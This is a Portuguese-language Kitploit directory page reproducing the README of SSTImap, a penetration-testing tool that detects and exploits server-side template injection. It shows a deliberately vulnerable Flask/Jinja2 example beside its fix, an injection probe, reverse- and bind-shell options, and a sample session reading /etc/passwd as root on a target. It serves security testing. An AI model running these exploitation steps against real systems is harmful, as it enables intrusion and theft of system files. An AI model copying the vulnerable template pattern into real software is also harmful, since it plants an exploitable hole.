Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SSTImap — Ferramenta automática de detecção de SSTI com interface interativa | Kitploit
Ferramentas/GitHubGitHub/vladko312/sstimap
Scanners de VulnerabilidadesGeração de PayloadsAnálise de CódigoAnálise Dinâmica de Código (DAST)ExploraçãoExploração de Aplicações WebFuzzingTestes de PenetraçãoComando e Controle
GitHubvladko312/sstimap

SSTImap

1.6k177180há 2 mesesRevisado pelo Kitploit

Ferramenta automática de detecção de SSTI com interface interativa

Ver Repositório
Compartilhar
SSTImap
======

[![Version 1.4](https://img.shields.io/badge/version-1.4-green.svg?logo=github)](https://github.com/vladko312/sstimap)
[![Python 3.14](https://img.shields.io/badge/python-3.14-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3140/)
[![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/)
[![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt)
[![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/)
[![Maintenance](https://img.shields.io/maintenance/yes/2026?logo=github)](https://github.com/vladko312/sstimap)

> Este projeto é baseado no [Tplmap](https://github.com/epinna/tplmap/).

O SSTImap é um software de teste de penetração que pode verificar sites quanto a vulnerabilidades de Injeção de Código e Injeção de Template no Lado do Servidor (SSTI) e explorá-las, dando acesso ao próprio sistema operacional.

Esta ferramenta foi desenvolvida para ser usada como uma ferramenta interativa de teste de penetração para detecção e exploração de SSTI, o que permite uma exploração mais avançada. Mais payloads para o SSTImap podem ser encontrados [aqui](https://github.com/vladko312/extras).

Os payloads e as técnicas vieram de:
- James Kettle's [Server-Side Template Injection: RCE For The Modern Web App][5]
- Outras pesquisas públicas [\[1\]][1] [\[2\]][2] [\[8\]][8]
- Contribuições para o Tplmap [\[3\]][3] [\[4\]][4]
- Minha própria pesquisa [\[9\]][9]

Esta ferramenta é capaz de explorar alguns escapes de contexto de código e cenários de injeção cega. Ela também suporta injeções de código do tipo _eval()_ em Java, JavaScript, PHP, Python, Ruby e mecanismos de template genéricos sem sandbox.

Principais diferenças em relação ao Tplmap
-----------------------

Embora este software seja baseado no código do Tplmap, a compatibilidade retroativa não é fornecida.
- Adicionadas duas novas técnicas para detecção e exploração de SSTI
- Modo interativo (`-i`) permitindo exploração e detecção mais fáceis
- Payloads de avaliação simples como marcadores de resposta em caso de reflexão de payload
- Adicionados novos payloads para templates genéricos, para testar todos os contextos use `--generic`
- Detecção genérica de injeção de template por avaliação usando o módulo `Eval_generic`
- Execução de shell baseado em _eval()_ da linguagem base (`-x`) ou de comando único (`-X`)
- Upload de arquivo cego agora suporta confirmação MD5 e verificação de existência de arquivo
- Adicionados novos payloads para mais templates e atualizados muitos payloads existentes
- Estrutura de plugins modular que permite a instalação de plugins adicionais
- Suporte para diferentes tipos de dados POST
- Adicionados rastreamento (crawling) e detecção de formulários
- Versões curtas adicionadas a muitos argumentos
- Alguns argumentos antigos de linha de comando foram alterados, verifique `-h` para ajuda
- Código alterado para usar recursos mais recentes do Python
- Extensão do Burp Suite temporariamente removida, pois o _Jython_ não suporta Python3

Injeção de Template no Lado do Servidor
------------------------------

Este é um exemplo de um site simples escrito em Python usando o framework [Flask][6] e o mecanismo de template [Jinja2][7]. Ele integra a variável fornecida pelo usuário `name` de forma insegura, pois ela é concatenada à string do template antes da renderização.

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

Não apenas essa forma de usar templates cria uma vulnerabilidade XSS, mas também permite que o atacante injete código de template, que será executado no servidor, levando a SSTI.

```
$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix
```

A entrada fornecida pelo usuário deve ser introduzida de forma segura por meio do contexto de renderização:

```python3
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
```

Modo predeterminado
------------------

O SSTImap no modo predeterminado é muito semelhante ao Tplmap. Ele é capaz de detectar e explorar vulnerabilidades SSTI em vários templates diferentes.

Após a exploração, o SSTImap pode fornecer acesso à avaliação de código, execução de comandos do sistema operacional e manipulação do sistema de arquivos.

Para verificar a URL, você pode usar o argumento `-u`:

```
$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files
```

Use a opção `--os-shell` para iniciar um pseudo-terminal no alvo.

```
$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

Para obter uma lista completa de opções, use o argumento `--help`.

Modo interativo
----------------

No modo interativo, comandos são usados para interagir com o SSTImap. Para entrar no modo interativo, você pode usar o argumento `-i`. Todos os outros argumentos, exceto os relacionados a payloads de exploração, serão usados como valores iniciais para as configurações.

Alguns comandos são usados para alterar as configurações entre execuções de teste. Para executar um teste, a URL do alvo deve ser fornecida por meio do argumento inicial `-u` ou do comando `url`. Depois disso, você pode usar o comando `run` para verificar a URL quanto a SSTI.

Se SSTI for encontrada, comandos podem ser usados para iniciar a exploração. Você pode obter as mesmas capacidades de exploração do modo predeterminado, mas pode usar `Ctrl+C` para abortá-las sem interromper o programa.

A propósito, os resultados do teste são válidos até que a URL do alvo seja alterada, então você pode alternar facilmente entre métodos de exploração sem executar o teste de detecção toda vez.

Para obter uma lista completa de comandos interativos, use o comando `help` no modo interativo.

Mecanismos de template suportados
--------------------------

O SSTImap suporta vários mecanismos de template e injeções do tipo _eval()_.

Novos payloads são bem-vindos em PRs. Confira as [dicas](https://github.com/vladko312/extras#developing-plugins) para acelerar o desenvolvimento.

| Engine                                                                             | RCE | Tech | Language   | Type                                                   |
|------------------------------------------------------------------------------------|-----|------|------------|--------------------------------------------------------|
| Freemarker                                                                         | ✓   | REBT | Java       | Default                                                |
| Java generic EL injections                                                         | ✓   | REBT | Java       | Default                                                |
| OGNL (Object-Graph Navigation Language code eval)                                  | ✓   | REBT | Java       | Default                                                |
| Velocity                                                                           | ✓   | REBT | Java       | Default                                                |
| Nunjucks                                                                           | ✓   | REBT | JavaScript | Default                                                |
| Velocity.js                                                                        | ✓   | REBT | JavaScript | Default                                                |
| JavaScript (code eval)                                                             | ✓   | REBT | JavaScript | Default                                                |
| JavaScript-based generic templates                                                 | ✓   | REBT | JavaScript | Default                                                |
| Twig (>=1.41; >=2.10; >=3.0)                                                       | ✓   | REBT | PHP        | Default                                                |
| PHP (code eval)                                                                    | ✓   | REBT | PHP        | Default                                                |
| PHP-based generic templates                                                        | ✓   | REBT | PHP        | Default                                                |
| Jinja2                                                                             | ✓   | REBT | Python     | Default                                                |
| Python (code eval)                                                                 | ✓   | REBT | Python     | Default                                                |
| Python-based generic templates                                                     | ✓   | REBT | Python     | Default                                                |
| ERB                                                                                | ✓   | REBT | Ruby       | Default                                                |
| Mustache (<=1.1.2; detection only)                                                 | ×   | reb_ | Ruby       | Default                                                |
| Slim                                                                               | ✓   | REBT | Ruby       | Default                                                |
| Ruby (code eval)                                                                   | ✓   | REBT | Ruby       | Default                                                |
| Generic evaluating templates                                                       | ×   | Reb_ | *          | Default                                                |
| SpEL (Spring EL code eval)                                                         | ✓   | REBT | Java       | Generic                                                |
| doT                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| EJS                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| Marko                                                                              | ✓   | REBT | JavaScript | Generic                                                |
| Pug                                                                                | ✓   | REBT | JavaScript | Generic                                                |
| Smarty                                                                             | ✓   | REBT | PHP        | Generic                                                |
| Cheetah                                                                            | ✓   | REBT | Python     | Generic                                                |
| Mako                                                                               | ✓   | REBT | Python     | Generic                                                |
| Tornado                                                                            | ✓   | REBT | Python     | Generic                                                |
| Dust (<= [email protected])                                                     | ✓   | REBT | JavaScript | Legacy                                                 |
| Twig (<=1.19.0)                                                                    | ✓   | REBT | PHP        | Legacy                                                 |
| Pybars3 / Pybars4                                                                  | ✓   | REBT | Python     | Legacy                                                 |
| Templite                                                                           | ✓   | REBT | Python     | Legacy                                                 |
| SSI (Server-Side Includes injection)                                               | ✓   | R__T | SSI        | Legacy                                                 |
| Obscure evaluating syntaxes                                                        | ×   | Reb_ | *          | Legacy                                                 |
| [CVE-2025-1302](https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456) | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2025-13204](https://huntr.com/bounties/1-npm-expr-eval)                       | ✓   | REBT | JavaScript | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2022-23614](https://nvd.nist.gov/vuln/detail/CVE-2022-23614)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2024-6386](https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/)             | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |
| [CVE-2026-46640](https://nvd.nist.gov/vuln/detail/CVE-2026-46640)                  | ✓   | REBT | PHP        | [Extra](https://github.com/vladko312/extras/tree/main) |

Técnicas: (R)enderizada, (E)rro, (B)lind baseada em erro booleano e (T)ime-based blind; Letra minúscula marca técnica parcialmente suportada

Mais plugins e payloads podem ser encontrados no repositório [SSTImap Extra Plugins](https://github.com/vladko312/extras).

Plugin do Burp Suite
-----------------

Atualmente, o Burp Suite só funciona com Jython como forma de executar python2. A funcionalidade Python3 não é fornecida.

Planos futuros
------------

Se você planeja contribuir com algo grande desta lista, informe-me para evitar trabalhar na mesma coisa que eu ou outros contribuidores.

- [ ] Adicionar mais payloads para diferentes mecanismos
- [ ] Tornar os plugins menos dependentes dos plugins base
- [ ] Analisar requisição HTTP bruta de arquivo
- [ ] Funcionalidade de despejo de variáveis
- [ ] Extração de valores cega/canal lateral
- [ ] Melhor documentação (ou pelo menos alguma documentação)
- [ ] Argumentos curtos como comandos interativos?
- [ ] Modos de API JSONL/texto simples para integrações de script?
- [ ] Melhor integração para scripts Python
- [ ] Suporte a tipo de dados POST multipart
- [ ] Módulos para requisições mais personalizáveis (segunda ordem, reset, não-HTTP)
- [ ] Scripts de processamento de payload
- [ ] Melhor funcionalidade de configuração
- [ ] Salvar vulnerabilidades encontradas
- [ ] Relatórios em HTML ou outro formato
- [ ] Avaliação de linguagem multilinha?
- [ ] Evitar dependência de plataforma nos payloads
- [ ] Testar múltiplos shells em cenários RCE baseados em exec
- [ ] Atualizar payloads NodeJS, pois process.mainModule pode ser indefinido
- [x] Automação de spider/crawler (por [fantesykikachu](https://github.com/fantesykikachu))
- [x] Importação automática de linguagens e mecanismos
- [x] Suporte a mais tipos de dados POST
- [x] Tornar a funcionalidade de avaliação de template e linguagem base mais uniforme
- [x] Argumento para remover códigos de escape?

[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
[3]: https://github.com/epinna/tplmap/issues/9
[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
[6]: http://flask.pocoo.org/
[7]: http://jinja.pocoo.org/
[8]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9
[9]: https://github.com/vladko312/Research_Successful_Errors
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    366
  • 4

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    287

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →